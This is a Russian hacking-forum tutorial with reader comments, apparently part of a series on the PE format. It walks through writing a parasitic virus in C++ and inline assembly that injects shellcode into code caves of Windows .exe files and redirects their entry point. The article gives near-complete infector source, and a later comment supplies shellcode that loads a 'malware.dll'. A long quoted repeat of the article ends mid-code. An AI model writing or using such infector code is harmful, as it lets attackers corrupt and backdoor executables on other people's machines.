• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья [0x05] Исследуем Portable Executable [Инфицируем .exe файлы]

Доброго времени суток, друзья. В прошлых статьях, мы внимательно изучили строение и формат исполняемых файлов, а также закрепили эти знания на практике. Начиная с этой статьи мы начнём исследовать этот вопрос с практической точки зрения. Конкретно в этой статье мы напишем небольшой вирус, инфицирующий исполняемые файлы Windows. Для понимания данной статьи необходимо прочтение предыдущих.

Дисклеймер
ВНИМАНИЕ! Весь представленный ниже материал распространяется исключительно в образовательных целях. Автор и администрация форума не несут ответственности за ваши действия.

Немного теории
Вирус - вид вредоносных программ, способных инфицировать другие файлы. Например, внедрять свой вредоносный в код в другие исполняемые файлы. Конкретно данный тип инфекции мы сегодня и рассмотрим.

На самом деле, вирусы инфицирующие исполняемые файлы формально подразделяются на следующие типы:
  • Перезаписывающие вирусы
    Данный тип инфекторов заменяет исполняемые файлы собственным исполняемым модулем. Данный тип вирусов редко встречается, так как вирусы данного типа приносят слишком разрушительные последствия и из-за этого они легко обнаруживаются.
  • Паразитические вирусы
    Данный тип инфекторов внедряет вредоносный код в исполняемые файлы. В большинстве случаев данный тип вирусов не влияет на логику работы инфицированной программы. Именно данный тип вируса мы и напишем в этой статье.
  • Вирусы-компаньёны
    Данный тип вирусов переименовывает инфицируемый исполняемый файл, а на его старый путь вставляет свою копию.
  • Другие типы вирусов
В большинстве случаев паразитические вирусы исполняют свой код ДО запуска основного кода. Основная идея инфекции - перенаправить поток исполнения с точки входа в программу на вредоносный код.

Давайте сначала разберём схему заражения в теории. Заражать мы с вами будем написанный в двух прошлых статьях .exe файл (hello.exe). В принципе, программа которую мы напишем может корректно заражать большинство исполяемых файлов.

Открыв hello.exe в hex-редакторе, мы можем заметить заполненные нулевыми байтами участки в секциях. Эти учатски называются пещерами кода. Они появляются вследствии выравнивания размера секции. Вот пример пещеры кода в секции .text.

code_cave.png

Теперь давайте посмотрим, что же проиходит при инфекции исполняемого файла. До инфекции инфицируемая секция выглядит так:

before_infection.png

Точка входа в программу установлена на начало кода программы, секция немодифицированная.

А вот так уже выглядит секция после инфекции файла:

after_infection.png

Что же произошло во время инфекции файла? Во-первых, в начало пещеры кода был вставлен вредоносный код. Во-вторых, указатель на вход в программу был изменён на адрес начала вредоносного кода. Во вредоносном коде имеется переход на начало оригинального кода.

Суммарно общая схема атаки выглядит так:
  1. Подготовительные действия
  2. Найти пещеру кода в секциях
  3. Вставить вредоносный код в пещеру кода
  4. Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
  5. Изменить характеристики секции на Read, Write, Execute.

Таким образом, при запуске вредоносного файла управление сначала будет передано вредоносному коду, а после этого оригинальному коду.

Приступаем к кодингу
Писать нашего паразита мы будем на языке C++ (я использую Visual Studio). Первым делом, создадим консольный проект.

1541753211642.png

Теперь подключим необходимые заголовочные файлы:

C:
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <stdio.h>

Теперь давайте объявим пару констант и напишем функцию, которую мы будем внедрять в исполняемый файл. Писать внедряемый код нам придётся на ассемблере. Я использую простейший MessageBox, как нашу полезную нагрузку, хотя изменить шелл-код, например, на код загружающий динамическую библиотеку - проще простого.
C:
#define TARGET "D:\\hello.exe"
#define SHELLCODE_SIZE 65

#define db(x) __asm _emit x
void __declspec(naked) shellcode()
{
    __asm {
        pushad // Сохраняем регистры
        call    routine // Получаем eip

        routine:
            pop     ebp // Получаем eip
            sub     ebp, offset routine // Получаем eip
      
            // Вызываем MessageBox
            push    0x00000010  // MB_ICONERROR
            lea     eax, [ebp + szCaption]
            push    eax // szCaption
            lea     eax, [ebp + szText]
            push    eax // szText
            push    0 // NULL
            mov     eax, 0xAAAAAAAA // Временный адрес MessageBox
            call    eax // Вызываем MessageBoxA
            popad // Получаем регистры обратно
            push    0xAAAAAAAA // Переходим на оригинальную точку входа
            ret // Переходим на оригинальную точку входа

        szText:
            db('I')
            db('n')
            db('f')
            db('e')
            db('c')
            db('t')
            db('e')
            db('d')
            db('!')
            db(0)
        szCaption:
            db('C')
            db('o')
            db('d')
            db('e')
            db('b')
            db('y')
            db('N')
            db('e')
            db('t')
            db(0)
    }
}

Теперь, давайте более подробнее изменим наш алгоритм:
  1. Подготовительные действия
    1.1 Открыть файл
    1.2 Создать проекцию файла в память
    1.3 Проверить действительно ли это исполняемый файл
    1.4 Разобрать заголовки
    1.5 Проверить заражён ли файл уже
  2. Итерируя каждую секцию пробежаться по ней и найти пещеру кода нужного размера
  3. Подготавить шелл-код
  4. Вставлить вредоносный код в пещеру кода
  5. Изменить характеристики секции на Read, Write, Execute.
  6. Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
  7. Пометить файл как зараженный
Со всеми шагами кроме 1.2 думаю всё понятно. Но что же за проекция файла в памяти и для чего же она нужна? Давайте разберёмся.

Отображение файла в память (на память) — это способ работы с файлами в некоторых операционных системах, при котором всему файлу или некоторой непрерывной его части ставится в соответствие определённый участок памяти (диапазон адресов оперативной памяти). При этом чтение данных из этих адресов фактически приводит к чтению данных из отображенного файла, а запись данных по этим адресам приводит к записи этих данных в файл.

То есть, говоря более понятным языком, некий выделенный участок памяти привязывается к файлу. Изменяя содержимое участка памяти - мы тем самым изменяем содержание файла.

Зачем это нужно? Это позволяет увеличить производительность и увеличить максимальный размер файла, с которым вы собираетесь работать.

В Windows, проецирование файла реализуется с помощью функций и .

Для удобной работы с файлом давайте создадим класс MappedFile, который с помощью функций WinApi реализует необходимую функциональность (открытие файла и его отображение):
C:
class MappedFile
{
private:
    HANDLE m_hFile;
    HANDLE m_hMapping;
    LPBYTE m_lpFile;
public:
    MappedFile(LPTSTR szFilename) // Этот конструктор вызывается при создании объекта этого класса, он принимает путь к файлу
    {
        m_hFile = CreateFile(szFilename, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL); // Открываем файл
        if (m_hFile == INVALID_HANDLE_VALUE) // Проверяем на ошибки
        {
            throw std::exception("Can't open target file!");
        }
        DWORD dwFileSize = GetFileSize(m_hFile, NULL); // Получаем размер файла

        m_hMapping = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE, 0,
            0, NULL); // Создаём проекцию файла в память
        if (m_hMapping == NULL) // Проверяем на ошибки
        {
            CloseHandle(m_hFile);
            throw std::exception("Can't create file mapping!");
        }

        m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize)); // Проецируем отображение файла
        if (m_lpFile == NULL) // Проверяем на ошибки
        {
            CloseHandle(m_hMapping);
            CloseHandle(m_hFile);
            throw std::exception("Can't map view of file!");
        }
    }

    LPBYTE getViewOfFile() // Метод для получения адреса на начало отображения файла в памяти
    {
        return m_lpFile;
    }

    ~MappedFile() // Деструктор, вызывающийся при освобождении объекта
    {
        UnmapViewOfFile(m_lpFile); // Уничтожаем отображение проекции файла
        CloseHandle(m_hMapping); // Закрываем проекцию файла
        CloseHandle(m_hFile); // Закрываем файл
    }
};

Конструктор этого класса откроет файл с помощью функции со всеми правами, а также создаст проекцию файла в память, с помощью функций и .

Также, вооружившись нашими знаниями о формате PE-файла, реализуем небольшой класс-парсер, который будет выполнять разбор содержимого исполняемого файла:
C:
class PEParser
{
private:
    LPBYTE m_lpFile;
    PIMAGE_DOS_HEADER m_pidh;
    PIMAGE_NT_HEADERS m_pinh;
    PIMAGE_FILE_HEADER m_pifh;
    PIMAGE_OPTIONAL_HEADER m_pioh;
public:
    PEParser(LPBYTE lpFile) : m_lpFile(lpFile)
    {
        m_pidh = PIMAGE_DOS_HEADER(lpFile); // Получаем DOS-заголовок (он самый первый)
        if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE) // Проверяем, корректна ли сигнатура DOS заголовока
        {
            throw std::exception("There's not executable file!");
        }

        m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew); // Получаем PE-заголовок (NT)
        if (m_pinh->Signature != IMAGE_NT_SIGNATURE) // Проверяем, корректна ли сигнатура PE заголовока
        {
            throw std::exception("There's not executable file!");
        }

        m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader); // Получаем файловый заголовок
        m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader); // Получаем опциональный заголовок
    }

    // Методы ниже возвращают заголовки
    PIMAGE_DOS_HEADER getDosHeader()
    {
        return m_pidh;
    }

    PIMAGE_NT_HEADERS getNtHeaders()
    {
        return m_pinh;
    }

    PIMAGE_FILE_HEADER getFileHeader()
    {
        return m_pifh;
    }

    PIMAGE_OPTIONAL_HEADER getOptionalHeader()
    {
        return m_pioh;
    }

    // Метод, возвращающий число секций
    int getNumberOfSections()
    {
        return m_pifh->NumberOfSections;
    }

    // Этот метод возвращает заголовок по его индексу
    PIMAGE_SECTION_HEADER getSectionHeader(int nSection)
    {
        if (nSection > this->getNumberOfSections())
        {
            return NULL;
        }

        return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
            sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER)+
            m_pifh->SizeOfOptionalHeader +
            sizeof(IMAGE_SECTION_HEADER) * (nSection - 1));
    }
};

Теперь, вставим базовую функциональность в нашу главную функцию:

C:
int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
    MappedFile* pmfTarget;
    try
    {
        pmfTarget = new MappedFile(_TEXT(TARGET));
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
        return 1;
    }

    LPBYTE lpFile = pmfTarget->getViewOfFile();

    PEParser* ppeParser;
    try
    {
        ppeParser = new PEParser(lpFile);
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
  
        delete pmfTarget;
        return 1;
    }

    PIMAGE_DOS_HEADER      pidh  = ppeParser->getDosHeader();
    PIMAGE_NT_HEADERS      pinh  = ppeParser->getNtHeaders();
    PIMAGE_FILE_HEADER     pifh  = ppeParser->getFileHeader();
    PIMAGE_OPTIONAL_HEADER pioh  = ppeParser->getOptionalHeader();
    DWORD                  dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;

    delete lpShellcode;
    delete ppeParser;
    delete pmfTarget;
    return 0;

И вот, мы уже на шаге 1.5. Как же нам проверить, заражён ли файл уже? Для этого, после каждого заражения, мы будем помечать файл особым образом. Как именно? Мы изменим несущественные заголовки в DOS-заголовке на специальное значение.

Вот две функции, первая проверят заражён ли файл уже, а вторая помечает файл как заражённый.

C:
BOOL isInfected(PIMAGE_DOS_HEADER pidh)
{
    return ((pidh->e_minalloc == 0x13) && (pidh->e_maxalloc == 0x37));
}

void markAsInfected(PIMAGE_DOS_HEADER pidh)
{
    pidh->e_minalloc = 0x13;
    pidh->e_maxalloc = 0x37;
}

Вот как выглядит DOS-заголовок у заражённого файла в HEX-редакторе:

infected_mark.png

Добавляем в главную функцию следующий код, который отвечает за проверку файла на инфекцию:
C:
    if (isInfected(pidh))
    {
        std::cerr << "[ERROR] File already infected!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }

Мы закончили с нашими подготовительными действиями. Теперь, нам нужно найти пещеру кода подходящего размера. Для этого я создал структуру, которая содержит указатель на секцию, и смещение до пещеры кода относительно начала файла. Также, я написал функцию, которая будет возвращать нашу пещеру кода.

C:
typedef struct _CODE_CAVE
{
    DWORD                 dwPosition; // Смещение до пещеры кода относительно начала файла
    PIMAGE_SECTION_HEADER pish; // Указатель на секцию с пещерой кода
} CODE_CAVE, *PCODE_CAVE;

// Функция возвращающая структуру CODE_CAVE
CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser)
{
    // Инициализируем переменные
    CODE_CAVE ccCave;

    DWORD     dwCount = 0;
    ccCave.dwPosition = 0;
    ccCave.pish       = NULL;

    for (int i = 1; i <= ppeParser->getNumberOfSections(); i++)  // Итерируем секции
    {
        ccCave.pish = ppeParser->getSectionHeader(i);

        for (int j = 0; j < ccCave.pish->SizeOfRawData; j++) // Ищем пещеру кода
        {
            if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00)
            {
                if (dwCount++ == (SHELLCODE_SIZE + 1))
                {
                    ccCave.dwPosition = j - SHELLCODE_SIZE +
                        ccCave.pish->PointerToRawData + 1;
                    break;
                }
            }
            else
            {
                dwCount = 0;
            }
        }

        if (ccCave.dwPosition != 0)
        {
            break;
        }
    }

    if (dwCount == 0 || ccCave.dwPosition == 0) // Если пещера кода не найдена, возвращаем пустую структуру
    {
        return CODE_CAVE{ 0, NULL };
    }
    else
    {
        return ccCave;
    }
}

Также, добавляем следующий код в нашу главную функцию, который получает указатель на начало пещеры кода и указатель на секцию.

C:
    CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
    if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
    {
        std::cerr << "[ERROR] Can't find code cave!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }
    std::cout << "[INFO] Code cave located at 0x" << LPVOID(ccCave.dwPosition) << std::endl;
    PIMAGE_SECTION_HEADER pish       = ccCave.pish;
    DWORD                 dwPosition = ccCave.dwPosition;

Теперь, нам нужно модифицировать шелл-код специально для исполняемого файла (найти адрес MessageBoxA и заменить 0xAAAAAAAA на него, изменить следующую последовательность 0xAAAAAAAA на оригинальную точку входа (original entry point)). Вот функция, реализующая это:
C:
void modificateShellcode(LPVOID lpShellcode, DWORD dwOEP)
{
    HMODULE hModule = LoadLibrary(_TEXT("user32.dll"));
    LPVOID lpMessageBoxA = GetProcAddress(hModule, "MessageBoxA");

    for (int i = 0; i < SHELLCODE_SIZE; i++)
    {
        if (*(LPDWORD(lpShellcode) + i) == 0xAAAAAAAA)
        {
            *(LPDWORD(lpShellcode) + i) = DWORD(lpMessageBoxA );
            FreeLibrary(hModule);
            break;
        }
    }

    for (int i = 0; i < SHELLCODE_SIZE; i++)
    {
        if (*(LPDWORD(lpShellcode) + i) == 0xAAAAAAAA)
        {
            *(LPDWORD(lpShellcode) + i) = dwOEP;
            break;
        }
    }
}

И по традиции вставим следующий код в главную функцию (он подготовит наш шелл-код):
C:
    LPVOID lpShellcode = new char[SHELLCODE_SIZE];
    RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
    memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
    modificateShellcode(lpShellcode, dwOEP);

Шаги с 4 по 7 вообще являются тривиальными и каждый шаг реализиуются буквально одной строкой. Опять же вставим данный код в главную функцию:
C:
    memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
    markAsInfected(pidh);

Готово! Теперь дополним эпилог функции main:
C:
    std::cout << "[SUCCESS] File successfuly infected!" << std::endl;

    delete lpShellcode;

Итак, теперь наша главная функция выглядит так:
C:
int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
    MappedFile* pmfTarget;
    try
    {
        pmfTarget = new MappedFile(_TEXT(TARGET));
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
        return 1;
    }

    LPBYTE lpFile = pmfTarget->getViewOfFile();

    PEParser* ppeParser;
    try
    {
        ppeParser = new PEParser(lpFile);
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
  
        delete pmfTarget;
        return 1;
    }

    PIMAGE_DOS_HEADER      pidh  = ppeParser->getDosHeader();
    PIMAGE_NT_HEADERS      pinh  = ppeParser->getNtHeaders();
    PIMAGE_FILE_HEADER     pifh  = ppeParser->getFileHeader();
    PIMAGE_OPTIONAL_HEADER pioh  = ppeParser->getOptionalHeader();
    DWORD                  dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;

    if (isInfected(pidh))
    {
        std::cerr << "[ERROR] File already infected!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }

    CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
    if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
    {
        std::cerr << "[ERROR] Can't find code cave!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }
    std::cout << "[INFO] Code cave located at 0x" << LPVOID(ccCave.dwPosition) << std::endl;
    PIMAGE_SECTION_HEADER pish       = ccCave.pish;
    DWORD                 dwPosition = ccCave.dwPosition;

    LPVOID lpShellcode = new char[SHELLCODE_SIZE];
    RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
    memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
    modificateShellcode(lpShellcode, dwOEP);

    memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
    markAsInfected(pidh);

    std::cout << "[SUCCESS] File successfuly infected!" << std::endl;

    delete lpShellcode;
    delete ppeParser;
    delete pmfTarget;
    return 0;
}

Теперь вставляем наш целевой hello.exe по адресу D:\hello.exe (или изменяем константу TARGET), собираем проект и запускаем наш инфектор.

Корректный результат его работы:

1541753111317.png

Теперь, давайте проверим, корректно ли работает наш hello.exe и выполняется наш вредоносный код:

1541753285066.png


1541753309998.png

Это действительно так! Всё корректно работает! Как я говорил выше, наш инфектор может заражать большинство исполняемых файлов Windows (для этого измените константу TARGET), но также есть и некоторые исключения, которые мы не будем рассматривать в данной статье. С помощью этой техники можно творить поистине великие вещи (внедрение бэкдоров, DLL инъекции, внедрение вирусов, заражение важных системных файлов для добавления в автозагрузку и для сокрытия вредоносного процесса).


На этом всё! Спасибо за прочтение статьи! Если у вас есть какие-либо вопросы или вы обнаружите какие-то недоработки, буду рад увидеть ваш комментарий. Заражённый и незараженный файлы прикреплены.​
 

Вложения

  • hello.zip
    689 байт · Просмотры: 707
Последнее редактирование:

m0nstr

Green Team
19.06.2018
95
71
BIT
0
На некоторых форумах баны выписывают за флуд такого рода. Хотите отметить - ставьте Нравится.

По статье: спасибо за серию, очень познавательно, можно даже попробовать. Самое интересное тут, я думаю, "внедряемый код". Я правильно понимаю, что он должен быть не обязательно на асме? Или. Можно ли внедрить декодированный код готового шелла или софта?
 

Flankt

One Level
25.01.2017
5
4
BIT
0
На некоторых форумах баны выписывают за флуд такого рода. Хотите отметить - ставьте Нравится.
Хмм, как раз забыл спросить что мне писать по поводу той или иной статьи. Не нравится – есть кнопка "Жалоба".
 

PingVinich

Технарь
Green Team
19.03.2017
138
505
BIT
0
По статье: спасибо за серию, очень познавательно, можно даже попробовать. Самое интересное тут, я думаю, "внедряемый код". Я правильно понимаю, что он должен быть не обязательно на асме? Или. Можно ли внедрить декодированный код готового шелла или софта?

1) Нет, но на нём проще всего.

2) Можно, но будет очень сложно это реализовать (правка IAT, адресов данных и т.д.). Да и не факт, что места в пещере кода хватит. Гораздо легче использовать шелл-код, который будет загружать нужную нам DLL библиотеку в целевой процесс. В ней уже можно реализовывать любую функциональность на любом языке :).

Ассемблерный код загружающий DLL'ку выглядит примерно так:

C:
void __declspec(naked) shellcode()
{
  __asm
  {
    pushad
    call    routine
    routine:
      pop     ebp
      sub     ebp, offset routine

      lea     eax, [ebp+szPath]
      push    eax
      mov     eax, 0xAAAAAAAA // LoadLibrary адрес
      call    eax

      popad
      push    0xAAAAAAAA // Original Entry Point
      ret

    szPath:
     db('m')
     db('a')
     db('l')
     db('w')
     db('a')
     db('r')
     db('e')
     db('.')
     db('d')
     db('l')
     db('l')
     db(0)
  }
}
 
Последнее редактирование:

Debug

Red Team
07.07.2017
217
445
BIT
0
Можно ли получить "зараженный" и оригинальный файл, хотелось бы ручками вставлять
 
  • Нравится
Реакции: PingVinich
L

learntoplay

Годно! Обязательно попробую сделать сам, но из шапки infected экзешник не хочет работать на 64 битной винде. На сколько я понял, именно так сейчас и работает малварь, только производит манипуляции в самой памяти?
 

PingVinich

Технарь
Green Team
19.03.2017
138
505
BIT
0
Годно! Обязательно попробую сделать сам, но из шапки infected экзешник не хочет работать на 64 битной винде. На сколько я понял, именно так сейчас и работает малварь, только производит манипуляции в самой памяти?

Необязательно. Проводить заражение уже загруженного экзэшника в памяти не имеет смысла. Обычно в рантайме патчат программу (для обхода проверки целостности) или проводят инъекцию кода (DLL Injection, Code in Cave Injection, API Hooking, ...).
 

morgot

Green Team
25.07.2018
74
35
BIT
2
но из шапки infected экзешник не хочет работать на 64 битной винде
Он и на 32 бит врядли будет работать, разве что на машине автора. Надо чтоб шк сам искал адрес функции, или как то с импорта его брать.
А так статья хорошая, автору плюс.
 

wooolff

Green Team
19.02.2017
233
36
BIT
0
Статьи супер. Есть вопрос. Почему ты это делаешь через проецирование в память, а не скажем такой алгоритм - 1. просто открыть файл в битовом отображении(типа распарсить), 2. найти место куда записать пейлоад, 3. Найти точку входа, 4. записать шелкод в свободное место, 5. Изменить точку входа, 6. дописать переход на точку для продолжения программы.
Ну типа в общем так.
 

Zigun

One Level
09.08.2021
4
1
BIT
0
Статьи супер. Есть вопрос. Почему ты это делаешь через проецирование в память, а не скажем такой алгоритм - 1. просто открыть файл в битовом отображении(типа распарсить), 2. найти место куда записать пейлоад, 3. Найти точку входа, 4. записать шелкод в свободное место, 5. Изменить точку входа, 6. дописать переход на точку для продолжения программы.
Ну типа в общем так.
Наверное потому что программа "раскладывается" в памяти, с учетом информации о секциях пещеры и появляются
 
  • Нравится
Реакции: wooolff

Camel_CW

One Level
24.03.2022
1
0
BIT
0
Что делать, если у меня visual studio ругается на _TEXT(TARGET)?
Пишет: отсутствуют экземпляры конструктора "MappedFile::MappedFile", соответствующие списку аргументов
 

Андкол

New member
15.11.2020
1
0
BIT
0
Доброго времени суток, друзья. В прошлых статьях, мы внимательно изучили строение и формат исполняемых файлов, а также закрепили эти знания на практике. Начиная с этой статьи мы начнём исследовать этот вопрос с практической точки зрения. Конкретно в этой статье мы напишем небольшой вирус, инфицирующий исполняемые файлы Windows. Для понимания данной статьи необходимо прочтение предыдущих.

Дисклеймер
ВНИМАНИЕ! Весь представленный ниже материал распространяется исключительно в образовательных целях. Автор и администрация форума не несут ответственности за ваши действия.

Немного теории
Вирус - вид вредоносных программ, способных инфицировать другие файлы. Например, внедрять свой вредоносный в код в другие исполняемые файлы. Конкретно данный тип инфекции мы сегодня и рассмотрим.

На самом деле, вирусы инфицирующие исполняемые файлы формально подразделяются на следующие типы:
  • Перезаписывающие вирусы
    Данный тип инфекторов заменяет исполняемые файлы собственным исполняемым модулем. Данный тип вирусов редко встречается, так как вирусы данного типа приносят слишком разрушительные последствия и из-за этого они легко обнаруживаются.
  • Паразитические вирусы
    Данный тип инфекторов внедряет вредоносный код в исполняемые файлы. В большинстве случаев данный тип вирусов не влияет на логику работы инфицированной программы. Именно данный тип вируса мы и напишем в этой статье.
  • Вирусы-компаньёны
    Данный тип вирусов переименовывает инфицируемый исполняемый файл, а на его старый путь вставляет свою копию.
  • Другие типы вирусов
В большинстве случаев паразитические вирусы исполняют свой код ДО запуска основного кода. Основная идея инфекции - перенаправить поток исполнения с точки входа в программу на вредоносный код.

Давайте сначала разберём схему заражения в теории. Заражать мы с вами будем написанный в двух прошлых статьях .exe файл (hello.exe). В принципе, программа которую мы напишем может корректно заражать большинство исполяемых файлов.

Открыв hello.exe в hex-редакторе, мы можем заметить заполненные нулевыми байтами участки в секциях. Эти учатски называются пещерами кода. Они появляются вследствии выравнивания размера секции. Вот пример пещеры кода в секции .text.
Теперь давайте посмотрим, что же проиходит при инфекции исполняемого файла. До инфекции инфицируемая секция выглядит так:
Точка входа в программу установлена на начало кода программы, секция немодифицированная.

А вот так уже выглядит секция после инфекции файла:

Что же произошло во время инфекции файла? Во-первых, в начало пещеры кода был вставлен вредоносный код. Во-вторых, указатель на вход в программу был изменён на адрес начала вредоносного кода. Во вредоносном коде имеется переход на начало оригинального кода.

Суммарно общая схема атаки выглядит так:
  1. Подготовительные действия
  2. Найти пещеру кода в секциях
  3. Вставить вредоносный код в пещеру кода
  4. Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
  5. Изменить характеристики секции на Read, Write, Execute.

Таким образом, при запуске вредоносного файла управление сначала будет передано вредоносному коду, а после этого оригинальному коду.

Приступаем к кодингу
Писать нашего паразита мы будем на языке C++ (я использую Visual Studio). Первым делом, создадим консольный проект.

Теперь подключим необходимые заголовочные файлы:

C:
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <stdio.h>

Теперь давайте объявим пару констант и напишем функцию, которую мы будем внедрять в исполняемый файл. Писать внедряемый код нам придётся на ассемблере. Я использую простейший MessageBox, как нашу полезную нагрузку, хотя изменить шелл-код, например, на код загружающий динамическую библиотеку - проще простого.
C:
#define TARGET "D:\\hello.exe"
#define SHELLCODE_SIZE 65

#define db(x) __asm _emit x
void __declspec(naked) shellcode()
{
    __asm {
        pushad // Сохраняем регистры
        call    routine // Получаем eip

        routine:
            pop     ebp // Получаем eip
            sub     ebp, offset routine // Получаем eip
     
            // Вызываем MessageBox
            push    0x00000010  // MB_ICONERROR
            lea     eax, [ebp + szCaption]
            push    eax // szCaption
            lea     eax, [ebp + szText]
            push    eax // szText
            push    0 // NULL
            mov     eax, 0xAAAAAAAA // Временный адрес MessageBox
            call    eax // Вызываем MessageBoxA
            popad // Получаем регистры обратно
            push    0xAAAAAAAA // Переходим на оригинальную точку входа
            ret // Переходим на оригинальную точку входа

        szText:
            db('I')
            db('n')
            db('f')
            db('e')
            db('c')
            db('t')
            db('e')
            db('d')
            db('!')
            db(0)
        szCaption:
            db('C')
            db('o')
            db('d')
            db('e')
            db('b')
            db('y')
            db('N')
            db('e')
            db('t')
            db(0)
    }
}

Теперь, давайте более подробнее изменим наш алгоритм:
  1. Подготовительные действия
    1.1 Открыть файл
    1.2 Создать проекцию файла в память
    1.3 Проверить действительно ли это исполняемый файл
    1.4 Разобрать заголовки
    1.5 Проверить заражён ли файл уже
  2. Итерируя каждую секцию пробежаться по ней и найти пещеру кода нужного размера
  3. Подготавить шелл-код
  4. Вставлить вредоносный код в пещеру кода
  5. Изменить характеристики секции на Read, Write, Execute.
  6. Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
  7. Пометить файл как зараженный
Со всеми шагами кроме 1.2 думаю всё понятно. Но что же за проекция файла в памяти и для чего же она нужна? Давайте разберёмся.



То есть, говоря более понятным языком, некий выделенный участок памяти привязывается к файлу. Изменяя содержимое участка памяти - мы тем самым изменяем содержание файла.

Зачем это нужно? Это позволяет увеличить производительность и увеличить максимальный размер файла, с которым вы собираетесь работать.

В Windows, проецирование файла реализуется с помощью функций и .

Для удобной работы с файлом давайте создадим класс MappedFile, который с помощью функций WinApi реализует необходимую функциональность (открытие файла и его отображение):
C:
class MappedFile
{
private:
    HANDLE m_hFile;
    HANDLE m_hMapping;
    LPBYTE m_lpFile;
public:
    MappedFile(LPTSTR szFilename) // Этот конструктор вызывается при создании объекта этого класса, он принимает путь к файлу
    {
        m_hFile = CreateFile(szFilename, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL); // Открываем файл
        if (m_hFile == INVALID_HANDLE_VALUE) // Проверяем на ошибки
        {
            throw std::exception("Can't open target file!");
        }
        DWORD dwFileSize = GetFileSize(m_hFile, NULL); // Получаем размер файла

        m_hMapping = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE, 0,
            0, NULL); // Создаём проекцию файла в память
        if (m_hMapping == NULL) // Проверяем на ошибки
        {
            CloseHandle(m_hFile);
            throw std::exception("Can't create file mapping!");
        }

        m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize)); // Проецируем отображение файла
        if (m_lpFile == NULL) // Проверяем на ошибки
        {
            CloseHandle(m_hMapping);
            CloseHandle(m_hFile);
            throw std::exception("Can't map view of file!");
        }
    }

    LPBYTE getViewOfFile() // Метод для получения адреса на начало отображения файла в памяти
    {
        return m_lpFile;
    }

    ~MappedFile() // Деструктор, вызывающийся при освобождении объекта
    {
        UnmapViewOfFile(m_lpFile); // Уничтожаем отображение проекции файла
        CloseHandle(m_hMapping); // Закрываем проекцию файла
        CloseHandle(m_hFile); // Закрываем файл
    }
};

Конструктор этого класса откроет файл с помощью функции со всеми правами, а также создаст проекцию файла в память, с помощью функций и .

Также, вооружившись нашими знаниями о формате PE-файла, реализуем небольшой класс-парсер, который будет выполнять разбор содержимого исполняемого файла:
C:
class PEParser
{
private:
    LPBYTE m_lpFile;
    PIMAGE_DOS_HEADER m_pidh;
    PIMAGE_NT_HEADERS m_pinh;
    PIMAGE_FILE_HEADER m_pifh;
    PIMAGE_OPTIONAL_HEADER m_pioh;
public:
    PEParser(LPBYTE lpFile) : m_lpFile(lpFile)
    {
